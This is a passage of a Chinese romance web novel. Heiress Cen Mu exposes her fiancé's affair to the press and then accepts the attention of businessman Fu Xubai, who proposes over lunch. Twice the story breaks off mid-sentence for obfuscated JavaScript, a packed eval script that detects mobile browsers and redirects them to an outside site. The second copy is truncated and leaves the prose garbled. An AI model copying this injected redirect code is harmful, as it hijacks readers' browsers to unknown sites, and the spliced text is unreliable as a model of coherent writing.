孟荔:“你们之间的事情我不清楚,但是我知道,你们两家的关系好,秦玉明的立场很难办,不方便说些什么,你是岑家的千金,你若是主动放手,很多事情就没那么复杂了 。” 岑慕:“是秦玉明让你来跟我说这些的?” 孟荔:“不……不是,是我单方面想跟你说这些的,与他无关。” 岑慕:“那你为何不跟他说?” 这回,孟荔沉默了。 岑慕逼近她,“你是不是觉得这些话跟他说了没用,才选择来跟我说的?” 她距离靠近,孟荔忍不住低头躲避她视线。 岑慕叹息:“果然陷入感情中的女人智商都很低。” 孟荔无心跟她斗嘴,只是问她:“那你喜欢秦玉明吗?” 岑慕坦率回她:“不喜欢。” 孟荔:“既然你不喜欢,那你为什么不……” 后面的话纵使没有说完整,岑慕也知道她要表达的意思了。 岑慕:“不管怎么说,这也是我跟秦玉明之间的事情,还轮不到孟小姐来多管闲事,你今天来找我,是以什么样的立场呢?秦玉明见不得光的背后情人?” “你……”孟荔眼尾泛红,被她说的动了怒。 岑慕:“一个男人说爱你,却不肯为了你放弃自己丝毫的利益,或许他对你是有感情的,但归根结底,他最爱的人还是他自己,你为了这样的人,抛弃脸面,当面来跟我对峙,以为这样秦家就能接受你了吗?” 孟荔摇头,“我并没有要跟你争吵的意思,只是想找一个解决办法罢了。” 岑慕挑了下眉峰。 “若是我不同意呢。” 她话中带着揶揄,像是高高在上地欣赏着她的狼狈。 孟荔捏紧拳,“那也是你的自由,不过我不认为这样你会幸福,如果你执意想跟秦玉明结婚,那我就只好祝你们二人幸福了。” “祝我们幸福……”岑慕斟酌着她说出来的话,“真心的?” 孟荔不言。 她这话自然不是真心,只是对她不满的发泄话罢了。 岑慕也懒得跟孟荔浪费时间,只是让她放宽心,她对她的男人完全不感兴趣,甚至向她保证,再过一段时间,秦玉明肯定就会完全属于她一个人。 孟荔当时没明白岑慕这话到底是什么意思,刚想追问,岑慕便开车离开了这边,看样子并无想跟她多谈的欲望。 岑慕并不是多讨厌这个女人,只是觉得这样的对峙太不体面了。 她一个还未恋爱结婚的单身女人,就因为秦玉明,沾染上了这种事情。 岑慕觉得实在是晦气。 今日被孟荔主动上门找茬,岑慕也不是完全没有脾气。 孟荔看她那眼神,完全就是在看一个敌人。 仿佛就是在对岑慕说:不被爱的人才是小三,早点放手才是最好。 岑慕早就读懂她潜台词,只是不想跟她多做计较。 但岑慕只是不跟女人计较,却把这笔账记在了秦玉明的头上。 说来说去,如果没有他,也没有这些荒唐事情。 等江卉到达二人约会地点的时候,发现岑慕正专注的在手机上发着消息。 江卉把包放在一侧,问她: “跟谁聊天呢,那么专注。” 岑慕视线从手机上收了回来,然后弯唇一笑: “明天你就知道了。” 江卉:“难不成江城又要有新闻要看了?” 岑慕:“差不多,而且这次的主人公,你也很熟。” 江卉感兴趣地勾唇。 “是吗。” 次日。 江城最大的娱乐周刊爆出来一条猛料。 秦氏公司少东家的花边绯闻,就这么没有预告的出现在众人眼前。 秦家还算是低调,这些年来很少有这么抛头露脸的时候,秦玉明和女友在咖啡馆,画展厅,艺术长廊等地方约会的照片都被人拍摄下来刊登在头条位置。 此消息一出,江城那帮上流圈子算是彻底炸了。 秦玉明闹出这样的绯闻,若是没有婚约还好说,可他还跟岑家有着婚约,就爆出这样的花边新闻,这婚约肯定是不能继续了,两家长辈的脸面也不好看。 秦家早早的就收到了消息,紧急就把秦玉明叫了回去。 岑慕不知道秦家现在乱成什么样了,但是沈香薇却是坐在楼下,眉头紧锁道: “我之前看小秦也不是这样的孩子啊……” 岑华坐在旁边喝着刚刚磨好的咖啡,浅淡点评道: “男人无非都是那么一回事,有什么可惊讶的,但是他在婚前就敢这么做,也是我没想到的,看来秦家家风还是不够严,我以为按照秦玉明的胆量,是不敢这么做的。” 沈香薇瞪他一眼,“什么男人都是那么一回事,难不成你也是?” 岑华轻咳一声,尴尬道: “我对夫人可是一片忠心,你怎么能怀疑到我的头上,我只是实事求是的说话罢了,你看我们千挑万选了那么久,好不容易给岑慕选了个未婚夫,就是怕她被外面那群不学无术的公子哥招惹上,结果这个秦玉明还是不争气,爆出来这样的事情。” 沈香薇把报纸扔到桌上,不屑道: “秦家巴不得要跟我们联姻,岑家可是世代的艺术世家,若是攀上了我们女儿,他们不知道有多开心,现在就算是秦玉明跪在我们面前,我也不会同意这门婚事了。” 岑华往楼上看了眼,问自己太太,“岑慕怎么样了,有没有伤心?” 沈香薇叹气:“不清楚,等一会儿叫她下来吃早饭再说。” 过了十分钟左右,岑慕便下楼吃早饭。 岑华和沈香薇打量了她许久,发现岑慕并无伤心之意,反而神情轻快,看上去比往日都要开心。 本来沈香薇还在琢磨岑慕是不是还不清楚这件事情,还想着要不要多瞒她一阵。 但这世界上终究是没有不透风的墙,没多久,沈香薇就知道爆料这新闻的人就是自己的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13664663|144071||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宝贝女儿,岑慕。 秦家母亲专门打电话来质问沈香薇,说岑慕做事情怎么也不跟双方家长商量,就算是要解除婚约,也可以找个体面方式,就这么把秦玉明的私事挂在报纸上,以后还让他们秦家怎么在江城做人。 沈香薇本来心中就窝火,被秦家母亲这么一质问,当场讽刺回去,“分明是秦玉明犯错在先,我女儿就算是爆料了又怎么样,要不是他不洁身自好,八百张照片也奈何不了你秦家,既然事情已经到了这个地步,我看两个孩子的婚约就彻底结束了吧,岑慕就算一辈子不结婚,也不可能跟这种朝三暮四的人在一起,我劝你们秦家以后还是要好好教育孩子,若是早知道秦玉明是这种货色,我是万万不可能让岑慕同意这门婚事的!” 说完,沈香薇像是彻底解气般地挂断了电话。 岑华在旁边略带担忧的问道: “这样会不会说的太过分,毕竟秦家在江城势力也不小。” 沈香薇到底是大小姐出身,翻了个白眼过去,“秦家算什么,我那话就是说给她听的,本来还没那么生气,她竟然敢恶人先告状,那就别怪我翻脸不认人了,敢让我女儿受委屈,他们家是真的找死。” 岑华认可点头。 他夫人的火辣脾气,这么多年他还是很认可的。 后来岑慕在窗边浇花的时候,沈香薇走到她身边。 岑慕察觉到脚步声,偏头看过去。 沈香薇平静看她,“这件事情你是什么时候知道的。” 岑慕:“您是指秦玉明的事情?” 沈香薇:“嗯。” 岑慕:“有一段时间了。” 沈香薇:“怎么不直接跟我们说。” 岑慕:“本来是打算给他个机会,让他自己说的,但看他没这个意思,我就替他说出来了。” 说完,岑慕抿唇,轻声道: “您是不是也觉得我这样做太冲动了?” 沈香薇:“我知道你的性子,你一向不是爱冲动的,肯定是那个秦玉明哪里惹到你了,你才会用这样的手段报复回去。” 岑慕浅笑:“还是您了解我。” 沈香薇:“那是自然,你是我生的孩子,除了我,还有谁能这么了解你。” 岑慕:“听说秦伯母那边打电话来了,她没有为难您吧?” “不用担心。”沈香薇不大在意的挥了挥手,“我还不怕她来为难我。” 她握住岑慕的手,缓缓道,“既然你不喜欢这个秦玉明,那我们就不跟他家联姻了,而且这事儿你也没做错,妈妈支持你,要是秦家那边以后想要欺负你,你就跟我说,妈妈替你做主。” 岑慕之所以敢这么做,也是因为有底气。 因为她知道,无论做什么,只要不理亏,家里面人绝对会站在她这边。 要不是昨天孟荔来她这边要个说法,岑慕也没想到要把这些照片发到媒体上。 但既然她那么喜欢秦玉明,她也只好成人之美,加速二人的进展了。 这回,总不能再有人说她喜欢“霸占”秦玉明了 。 …… …… 这事儿在江城沸沸扬扬地闹了好几天,讨论热度一直不低。 圈子里面的人差不多都知道秦玉明那点破事儿了,茶余饭后又有了新话题。 装潢古色古香的茶室内。 樱桃木茶桌上摆放着青白色茶具。 叶弘懒散地打了个哈欠,然后替面前男人倒了杯热茶。 “对了,最近传的很热闹的那八卦你听说没有?” 傅叙白回复完手机上的消息,抬头睨他,“什么八卦。” 叶弘勾唇一笑,“其实这八卦本来也跟我没什么关系,只是感慨缘分天注定,有些人再怎么往一起凑也是不合适的,但是我后来一想,这其中的一个主人公,那天我还见过。” 傅叙白:“嗯?” 叶弘:“岑慕,岑小姐,就是那天在饭店偶遇的那位吧。” 茶室内环境悠然,氛围安静。 傅叙白品了口杯中的茶,声音清淡道: “嗯。” 叶弘:“秦玉明忤逆家中长辈的约定,私下偷偷恋爱,这也不是什么稀奇事情了,但是你猜爆料出这事儿的人是谁?” 傅叙白安静的等着他继续往下说。 叶弘摇头,感慨道: “听说就是他之前的那个未婚妻,岑慕。” “不过我之前见到那姑娘,只感觉她柔柔弱弱的,看着特别文静,没想到做事儿这么狠,直接就把秦玉明摁死了,一点回击的余地都没有。” 几秒过后。 傅叙白把手中的茶杯放回桌上。 “那是别人的事情,跟你有什么关系。” “我当然知道这事儿跟我没关系了。”叶弘困意消散了几分,靠在身后的椅子上,慵懒问他,“不过我看那天你们两个关系不错,这事儿你真就一点不知情?” 傅叙白:“不知情。” 叶弘:“啧,你肯定是框我呢。” 傅叙白眼尾撩起,回视他:“那你想要什么答案?” 叶弘根本没想要什么答案,纯粹是故意逗闷子扯话题,上次他就是随口调侃傅叙白几句,这人就冷了脸,这次再提,他倒是反应没那么大了。 他装模作样的咳嗽几声,“那你们两个这段时间……没联系?” 话音落下。 傅叙白这次却是沉默了。 他清淡的眸光落在樱桃木茶桌上的手机,神情微顿,像是有片刻走神。 就在他出神之际,桌上手机的屏幕忽然亮了起来。 手机上传来了一条消息。 给他发消息的不是旁人。 正是刚才叶弘口中的那位岑小姐。 9. 山茶花胸针 男人骨节分明的手掌拿起桌上的手机,轻微滑动,点开消息页面,看到岑慕几秒钟之前给他发的消息。 岑慕:【抱歉,昨晚太晚了,我忽然睡着了,忘记回复你消息。】 傅叙白睫毛微垂,利索的回应她: 【没关系,好好休息最重要。】 这几日,他的确跟岑慕有联系。 那日他在她家中做客的时候,顺手还给她了一张名片,说是有什么事情的话,可以随时联络。 毕竟,有她父亲的这层关系在。 所以岑慕就很顺理成章的拿到了他的联系方式。 岑慕忽然给他发消息,也是傅叙白没意料到的。 一开始,他以为岑慕或许真的有什么事情要找他。 但随着几条消息往来过后,傅叙白便发现,岑慕并没有重要事情要找他麻烦,只是单纯的聊天谈心。 只是在傅叙白这个年纪,已经没心思聊什么日常的话题了。 他平日的时间很宝贵,大部分时间都放在处理公司事务上,偶尔休息时间才会闲暇一下,就比如此刻。 他跟叶弘喝的是早茶,下午还有一个会议要开,时间安排的很满。 他一向不爱浪费自己的时间在无关事情上。 但跟岑慕聊天的感觉不至于让他讨厌,所以傅叙白一直很礼貌的回应着。 岑慕也没有这个年纪的女孩儿应该有的幼稚,相反,她跟他聊天的内容还颇为有趣,从艺术到日常生活,她都能闲扯几句。 但看得出来,她也不是很认真的在聊,似乎也是打发时间。 有的时候傅叙白消息回复过去,她那边两三个小时才会回复,有的时候心情好,又几乎是秒回。 昨晚她发了几条消息之后,感觉一阵困意袭来,干脆放下手机睡觉,都忘记了还有消息没回复。 傅叙白倒是不在意她回消息的频率,只是有些意外,岑慕忽然来这么一出,是想做什么。 他不是十七八的愣头青,很多事情不用开口,甚至于一个眼神动作都能了然。 他回完岑慕消息,叶弘还在继续八卦。 “这个岑小姐一点都不怕跟秦家的关系搞僵,估计身后还是有父母撑腰,我那天稍微打听了下,原来不止是岑家地位高,她亲妈沈香薇那边的地位也是不容小觑呢。” 傅叙白喝着茶,听他继续瞎侃。 叶弘:“就是他俩这婚约要是黄了,估计江城之后又要动荡起来了。” 傅叙白睨他:“怎么说。” 叶弘:“那可是岑家唯一的掌上明珠,想跟她家联姻的人家那是数不胜数,不知道下一位幸运儿会是谁呢。” 傅叙白:“你也想试一试?” 叶弘:“算了,那么漂亮的女孩儿我可是高攀不上,估计过段时间,岑家的门槛就要被踏破了,不过以后要是想当岑家的女婿,可要好好掂量了,万一要是作风不检点,像秦玉明这样的,恐怕就留下一辈子污点了,毕竟那位岑小姐也是个敢出手的主。” 傅叙白:“他自己做事情不检点,就别怪别人了,只能说是咎由自取。” “这话说的也有道理……”叶弘感慨道,“不过男人嘛,谁能保证自己一辈子不犯错?” 见傅叙白眸光沉沉地看向自己,叶弘清了下嗓子,“我可没说自己是那种人,就是随口一说。” 傅叙白:“这是你自己的事情,跟我无关。” 叶弘:“倒是你,之前我就见伯父伯母那边一直催的紧,你是家中老来子,你大哥的孩子都那么大了,虽然现在也没什么出息,这傅家的未来可都掌握在你的手里面了,你还不着急找个合适的姑娘早点结婚?省的伯父伯母一直记挂着这件事情。” 傅叙白:“暂时还没有合适的人。” 说到这,叶弘就来了兴趣。 他探身往前,故意说道:“其实,我有个表妹长相特别漂亮,也是大家闺秀,前段时间刚从国外进修回来,我觉得你们两个人应该会比较合适,要不然改天找个时间见一面?” 叶弘这么做也有一点自己的心机,要是自己的表妹能嫁给傅叙白,也算是亲上加亲,更加笼络傅家,这是最好的选择。 可偏偏傅叙白看起来并不吃他这一套。 他觉得叶弘今日格外聒噪,也懒得再跟他聊天,他看了眼腕上的手表,“你慢慢喝,我先走了。” 叶弘抬头看他,“欸,怎么这么快就走了,我还没跟你聊完呢。” 傅叙白起身,拍了拍他的肩膀。 “多喝茶,少说话。” “我头疼。” 叶弘:“……” 另一边。 岑慕盯着手机琢磨了半天,暂时还没想好要用什么开场白作为主动聊天的话题,一脸纠结地盯着自己的手机。 江卉趴在她床边,好奇的跟着打量过去。 “在等谁的消息?” 岑慕一脸认真:“不是在等,而是在想要发什么消息。” 江卉:“对面是什么人物,竟然让你这么费心思。” 岑慕格外正经地说出了三个字。 “傅叙白。” 江卉叉着水果的手一顿,“……你说谁?” 岑慕:“傅叙白。” 江卉:“你刚才就是在给他发消息?” 岑慕:“对。” 江卉震惊许久,“你们两个怎么会有联络。” 岑慕转身,淡定的把自己的想法告知于自己这个好闺蜜。 江卉费劲地咽下一口唾沫,“你想让傅家跟你们家联姻?” 岑慕:“这只是一个初步的想法。” 江卉:“对面可是傅叙白啊……” 岑慕:“我知道,不过我觉得他还不错,长相和人品都可以,也没听说他有什么绯闻,如果非要嫁的话,还不如让我自己来挑。” 江卉:“你的眼光不错啊,而且自打你跟秦玉明的婚约闹掰之后,已经有不少人开始蠢蠢欲动了,想要跟你家联姻,估计伯母那边已经收到消息了。” 岑慕略微皱眉,“这么快啊。” 江卉:“当然,你可是江城的香饽饽,又漂亮又是才女,谁不想娶你回家当老婆,也就秦玉明身在福中不知福,竟然放着你不要,去喜欢别人。” 岑慕提醒她:“我也不喜欢他,别说的好像他甩了我一样。” 江卉笑眯眯地应道: “这是当然,不过伯父伯母那边对傅叙白是什么想法?” 岑慕:“貌似还挺好的。” 江卉:“之前见那男人的时候,感觉他不像是那种可以轻松被拿捏的类型,而且他比你大上几岁,考虑的事情应该很多,也不知道近些年有没有结婚的打算。” 岑慕幽幽叹气: “我是怕又被我爸妈逼迫着认识一些乱七八糟的人,江城的那些公子哥你也是知道的,有几个是对感情一心一意的,就算是有,也不一定是我喜欢的类型。” 江卉趴在床边,托腮看她:“你喜欢傅叙白?” 岑慕摇头:“不喜欢,但是也不讨厌。” 江卉:“那你可以跟他试着接触一下啊,没准真的可以。” 岑慕默默咬唇。 虽然想法是好的,但是她可不是什么特别主动的类型。 在跟傅叙白的聊天中能发现,那男人对她完全就是礼貌性的回复,聊天内容无趣到爆炸,如果不是看他还算合自己的眼缘,岑慕才懒得去想话题。 不过既然已经聊到这里了,岑慕看了眼时间,发现已经快要到中午,便伸出手指,懒洋洋地发送了一条消息过去:【你中午吃什么?】 五分钟后。 那人回复消息过来:【助理订的餐,已经吃过了。】 岑慕:【听说江城最近新开了一家味道很棒的法式餐厅,我看到有人去吃了,评价还不错。】 傅叙白:【是吗,不过我平时对这种事情不太了解。】 岑慕:【你明天有没有空。】 傅叙白:【什么事。】 岑慕:【我请你。】 这次那边停顿了两分钟,才回复消息过来: 【抱歉,明天我有工作,恐怕不能赴约,你可以约你的朋友。】 见他拒绝自己,岑慕有些置气地把手机扔到床上。 江卉在旁边被她吓了一跳,问道: “怎么了。” 岑慕:“我约他出来吃饭,他竟然说有工作,把我拒绝了。” 江卉跟着义愤填膺,“这男人竟然敢在你面前拿乔,简直过分!” 岑慕不自觉的自我怀疑了一下,“或许,他喜欢的类型不是我这款。” 江卉:“这倒是也有可能,不过这位传说中不近女色的傅老板到底眼光有多高,若是连你都不喜欢,那他可能是真的对女色不感兴趣了。” 岑慕不感兴趣地再次躺回床上,撇唇道:“管他喜欢哪一款,若是不行,我也就不强求了。” 江卉又问她:“那最近秦玉明有没有联系你?” 岑慕:“没有,估计他心里面快恨死我了,那天秦伯母还打电话来家里面要个说法,只不过被我妈给骂回去了,估计他们那边现在正闹的不可开交,秦玉明是最要脸面的人,本来是想着让我主动说解除婚约,但他万万没想到,我会把他的事情曝光到媒体上。” 江 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她提前给岑华发了消息,说是打算去他办公室坐坐。 但他那边一直没回复,岑慕便打算直接坐电梯上楼。 公司如今已经初具规模了,前台小姐知道她是老板的女儿后,就直接让她进去了。 到了老板办公室门口,岑慕还是礼节性地敲了敲门。 敲了几声后,里面就传来一声“进来”,岑慕推开门直接走进去。 岑华见来人是岑慕,直接从沙发上起身,笑着迎接自己的宝贝儿女儿,“今天怎么想着来爸爸这里了?” 岑慕:“跟朋友吃了午饭,正好在附近,所以就想着过来看看。” 岑慕往前走了几步,才发现办公室里面不止坐着岑华,傅叙白竟然也在。 他今日一身高级手工剪裁黑色西装,西装革履的样子看起来清冷矜贵,像是来公司谈正事的模样,那条质地柔软的蓝灰色领带与胸前的山茶花钻石胸针搭配的极好,看上去就令人赏心悦目。 其实岑慕心里面也喜欢穿衣有品味的男人,尤其是能把衣服穿出腔调的男人。 听到门口动静,傅叙白身子微微倚靠在沙发上,往她这边看过来。 岑华把岑慕带到沙发边,轻声道:“你倒是会挑时间,我跟傅老板正在谈事情。” 岑慕:“……那我是不是打扰你们了?” 傅叙白把手中的合同放到桌上,“不碍事,正好谈的也差不多了,休息休息也好。” 岑华问她:“中午吃的什么?” 岑慕:“跟朋友去了一家法式餐厅。” 傅叙白眼睫微动,不动声色地转动着腕口处的袖扣。 岑华:“味道怎么样?” 岑慕叹气:“不好吃,跟我想象中完全不一样。” 岑华哈哈大笑,转头对傅叙白说道:“我这个女儿,从小嘴巴就很挑,一般的东西还真的入不了她的眼。” 傅叙白勾唇浅笑:“这说明岑小姐品味不俗。” 岑华:“那有没有吃饱,要不要一会儿再吃点?” 岑慕:“不了,我就是想着来你这边看看,也没想到傅先生会在,要是早知道会打扰到你们两个人,我就改天再来了。” 岑华:“傅老板也是忙完工作顺路来的,他今天事情不少,还能抽空来我这里,说明傅老板是把我放在心上的哈哈哈……” 岑慕看向沙发旁边坐着的男人。 从她这个角度,只能看到男人一双笔直的长腿,还有脚上干净到反光的高级皮鞋。 看来,他昨天发的那消息还真不是骗她的。 最起码,他的确是工作忙,而不是随意找个借口。 傅叙白:“具体该嘱咐的东西,刚才我已经说过了,至于合同细节,你可以再斟酌一二,这个不着急。” 岑华点头,“那到时候我给你答复。” 傅叙白起身,看了眼腕表,发现此刻快要一点钟了。 岑华注意到他的动作,察觉到傅叙白可能是要离开了,便主动道:“傅老板是不是还没吃饭?要不然我……” 傅叙白:“岑总刚才不是吃过饭了吗。” 岑华:“这个不碍事,我可以再陪你吃个午饭。” “不必了。”傅叙白声音清淡,视线落在岑慕身上,她今日穿着浅色修身V领吊带裙,露出藕白双臂,脚上踩着一双碎钻银色高跟鞋,像是为了去餐厅吃饭特意精心搭配的穿着。 “我倒是知道周边有个不错的餐厅,岑小姐要是不介意的话,赏光一起怎么样?” 10. 玫瑰小蛋糕 公司附近的确有家口碑环境都还不错的餐厅。 岑慕正好没吃饱,所以干脆跟着傅叙白过来吃午饭了。 此刻快要一点钟,餐厅里面的人少了些。 waiter带领他们进去,找了一个靠近窗边的绝佳位置。 傅叙白把菜单递给岑慕,让她随便点,说是今天中午他买单。 岑慕倒也没客气,指尖随意的指了好几个地方,点的都是自己爱吃的菜。 她点的分量足够两个人吃,傅叙白后来又多加了几道,这才把菜单归还给waiter。 岑慕看上去有些心不在焉,托腮望向窗外风景,卷翘的睫毛扑朔眨动着,大概是刚从外面进来,热气还并未完全消散,颊边沾染着两抹浅淡的红晕,衬托着那处格外粉嫩。 傅叙白视线浅淡看过去,随意开口: “最近心情不好?” 岑慕被他说的话吸引注意力,偏头看过来,“没有,为什么这么说。” 傅叙白:“听说你跟秦玉明的婚约解除了?” “对,解除了。”她轻微挑眉,“不过我可不会因为这件事情心情不好,反而还开心了很久。” 傅叙白:“你不喜欢他?” 岑慕:“不喜欢,只不过是长辈们之前乱点鸳鸯谱罢了。” 傅叙白对她的感情事并未多做评论。 他轻笑一声,问她:“中午的饭,真的很难吃吗。” 一提起这件事情,岑慕就憋气。 她本来心情很好的,还专门打扮一番约江卉出来吃饭,结果那家店的好评大概都是人脉刷出来的,两个人吃的都不尽兴,就这么付钱离开了。 岑慕:“很不好吃,幸亏你没去,不然丢人的还是我。” 傅叙白:“不会,餐厅好吃与否都是不可预估的,如果那家不好吃,换一家就好,不用因为这种小事影响心情。” 岑慕觉得傅叙白这话说的很巧妙,像是一语双关。 不过傅叙白又临时约她吃饭,也是岑慕没想到的。 昨天他很冷淡的拒绝了她,今天又出其不意的约她吃饭。 岑慕实在是搞不懂这个男人是在想什么。 按理说,这两天她表现的应该是有那么一点明显的。 一个没什么联络的女人,忽然有些频繁的发送着短信,这肯定是一种暗示。 至少在岑慕这里来说,这是她的暗示。 纵使她没谈过恋爱,也知道这是拉近距离的方式。 这个傅叙白—— 比她大上几岁的男人,生活阅历还有本领肯定都要高于她的,难道连这点东西都看不出来吗。 不过那日她问他有没有喜欢的人,这人说自己从来没谈过恋爱,岑慕暂时不得知这话的真实性与否,不过傅叙白要是连这么简单的暗示都看不出来,只能说明这人是个榆木脑袋了。 就在她神游之际,他们点的餐已经端上来了。 这家餐厅的招牌就是嫩烤小羊排。 羊排肉质细腻,表面混合着黑胡椒颗粒和金黄色蜂蜜,烤的香香脆脆,婆罗门参点缀其中,味道鲜香爽口。 岑慕还点了香煎冰岛比目鱼、松露玉米汤、红菇煲老蛏,樱桃鹅肝日式饼……这些菜系均是没有踩雷。 傅叙白还贴心的给她多加了一份玫瑰小蛋糕,不过分量小小的,只有她一人份,模样却很精致。 这男人坐在自己对面吃饭,吃饭的样子很儒雅斯文,看起来就赏心悦目。 岑慕眸光不自觉落在他胸口前的山茶花胸针几秒,然后放下手中的叉子,认真的打量着傅叙白的五官。 若是说外表,他比秦玉明要优越许多。 这个长相的男人,在江城真是不可多得,怪不得圈子里面这么多名媛小姐费尽心机的想要成为他的太太。 若论资产实力,他也是完全碾压其他人的。 若论手段…… 岑慕压抑住唇角笑意,秦玉明就连自己都对付不了,怎么去对付这个传说中在生意场上手段高超的男人。 似是察觉她的笑意,傅叙白眉眼轻抬,望向她,问着:“怎么了?” 岑慕:“没什么,就是忽然想到一件很有意思的事情。” 她漫不经心的用叉子拨动着小蛋糕上的装饰物,开口道:“你平日只忙着工作,难道都不会觉得无聊吗?” 傅叙白:“大部分时间不会。” 岑慕:“没想过谈恋爱?” 男人视线清幽地看向她。 岑慕咳嗽一声,放下手中的叉子,“我的意思是,你的身边肯定不缺想要主动追求你的女人,你平时都是怎么处理这些关系的?” 傅叙白挑眉:“你很好奇?” 岑慕怔了几秒,像是忽然察觉到他的冷漠,赌气地撇了下唇。 “不好奇,随便问问。” 她此刻分明是好奇的,却口是心非地吃起奶油。 傅叙白看着她把一小块奶油蛋糕放入口中,大概是太过于心急,零星的白色奶油残留在红唇旁边,像是只偷吃的猫。 他眸中浅淡的升起一抹不易被发现的柔和笑意。 “其实,偶尔会有些人给我发短信。” 岑慕动作再次顿住。 傅叙白:“也会有人给我打些骚扰电话。” 岑慕:“……” 傅叙白:“不过一般我都不会接或者回复,时间久了,那些人就不会再来找我。” 奶油明明是细腻绵软的,岑慕却有些费劲地咽了下去。 “原来是这样啊……” 傅叙白:“不过也有特殊情况。” 岑慕:“嗯?” 男人修长白皙的指尖替她倒上一杯红酒,动作莫名绅士温柔。 “如果是我感兴趣的人,我会回复。” 只不过,他回复次数有限。 截至目前为止,他也就回复了她一个人。 岑慕与他对视几秒,然后猝不及防的呛住。 她捂住唇,蹙眉咳嗽了几声。 傅叙白替她拿过来一张纸巾,问道:“有没有事?” 岑慕挥手,“不碍事。” 她整理好仪态之后,忍不住深呼吸一口气。 她此刻已经完全知晓一件事情,那就是—— 傅叙白肯定清楚她的意图。 不过仔细想想也应该明白,这人在生意场上精明了那么多年,早就是一只老狐狸了,怎么会连这么简单的事情都看不出来。 如果非要说他不知道的话,那只能说明这人是在故意装不懂了。 她这边沉默下来,傅叙白倒是来了聊天的兴致。 “听说你家那边最近很热闹。” 岑慕:“怎么说。” 傅叙白慢条斯理地叉起一块牛肉放进口中,想起叶弘说的那件事情,“你婚约解除,应该会有很多人想要追求你。” 岑慕:“也还好,没有那么夸张。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13664665|144071||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >傅叙白:“下一步有什么打算?” 岑慕:“走一步算一步了,不过这次我不打算让爸妈替我决定了,毕竟他们挑选未来女婿的眼光也没有那么准,有一句话叫做知人知面不知心,还是让我自己来挑选比较靠谱。” 傅叙白轻笑:“对自己的眼光那么自信?” 岑慕:“我亲自挑选的人,最起码是要合我的眼缘。” 傅叙白:“原来你更加注重眼缘。” 岑慕:“当然,眼缘很重要,就算不是一见钟情,也要让自己看的舒心。” 说到这,傅叙白指尖在桌上轻微点动几下,眼尾撩起,看向她这边,温声问道: “你相信一见钟情?” 大抵是因为他视线过于专注的看向自己,所以岑慕有一瞬间被他眸中的琥珀色光芒恍了下,喉咙中细腻的奶油味道让她有些不适,所以她欲盖弥彰的拿起酒杯喝了口酒,“相信,只不过这种事情并没有发生在我的身上。” 傅叙白唇角微弯,“我也相信。” 岑慕微微咬唇,不知道该如何回应这话。 傅叙白:“那日把傅航带到你家中赔礼道歉之后,我一直让他在家中闭门思过,所以这段时间他很老实,恰好他父母和爷爷奶奶都度假回来了,知道了他冒犯你这件事情,对你也有些歉意,想让我转交一些礼物送给你。” 岑慕摇头:“不用了,你那天已经带了不少礼物了,心意我已经收到了,就不用再送了。” 傅叙白柔和看她:“确定不要礼物了?” 岑慕睫毛微动,略带不解地抬头看向他。 傅叙白:“上次你说要我介绍给你一位比秦玉明更加厉害的未婚夫,我思来想去,岑小姐过于优秀,身边能配得上你的人实在是少,所以——” 他尾音难得带着一抹缱绻气息,却又将绅士味道贯彻到底。 “岑小姐看我怎么样?” 他话音落下的那一秒,岑慕忽然心跳加速。 这男人就是明白她的意思,所以这几日才揣着明白装糊涂跟她互相试探着。 可他偏偏又绅士极了,化被动为主动,不让她开口,选择由自己说出来这话。 他自然是知晓岑慕的矜贵与稚气,也知道她肯定是说不出来那些主动的话语。 岑慕与他家世相当,生的漂亮,行为做事又不乖张惹人厌,与秦月灵那种女孩儿是截然不同的性格。 傅叙白这几年的确是被家中催得紧,他父母年事已高,加上大哥那边虎视眈眈地盯着他的位置,他如果再不快点成家,的确是说不过去。 他之前说过,如果是他不感兴趣的人,谁来逼迫,那都无济于事。 可偏偏,岑慕并不让他讨厌。 她有着千金大小姐的尊贵,也有自己的礼貌骄傲。 理智来讲,她是做太太的不二人选。 家世和样貌,才华与修养,她都是最好的。 同样的,傅叙白也知道,岑慕选自己,也是同样的理由。 他们二人相识时间不长,若说有什么感情,那实在是无稽之谈,只是…… 男未婚,女未嫁,确实可以考虑看看。 他话说的直白,没有丝毫掩饰,视线直直的看了过来。 岑慕虽然的确有这心思,但这一刻,她还是矜持的别过眸子,眼尾下方闪过一抹红晕。 “那我考虑看看。” 傅叙白温和笑着: “好,那我等你给我答复。” 11. 乱点鸳鸯谱 岑慕中午连着吃了两顿饭,这次怎么都是饱了的。 等到午餐结束,傅叙白招来服务生,很自然的就刷卡买单,顺便往她那边睨了眼,“用不用叫我的司机送你回去?” 岑慕摇头:“不用,我下午没事情,自己回去就好。” 傅叙白也不勉强,与她在餐厅这边分别。 岑慕还有点没适应过来,要说前几天她是故意试探傅叙白,多少带着点观察意味,可傅叙白忽然反将一军,直接就提出结婚请求,的确杀了她个措手不及。 这边离商场很近,她顺便去商场里购置了几个最新款的奢侈品包包,又给沈香薇买了她前段时间想要的香水,等到购物完,司机也在商场门口等候着她了。 她提着大包小包的回家,看见沈香薇正坐在客厅沙发上,一脸认真的看着手中照片。 岑慕好奇凑过去,问道:“您看什么呢,那么专注。” 沈香薇发现她回来,对着岑慕招了招手,“正好你回来了,过来看看。” 岑慕坐在她身旁,看见沈香薇手中拿着一沓照片。 岑慕:“这是……?” 沈香薇:“你如今解除婚约了,这是江城想要跟我们家联姻的一些青年才俊,家世和长相都还不错,你看看有没有喜欢的。” 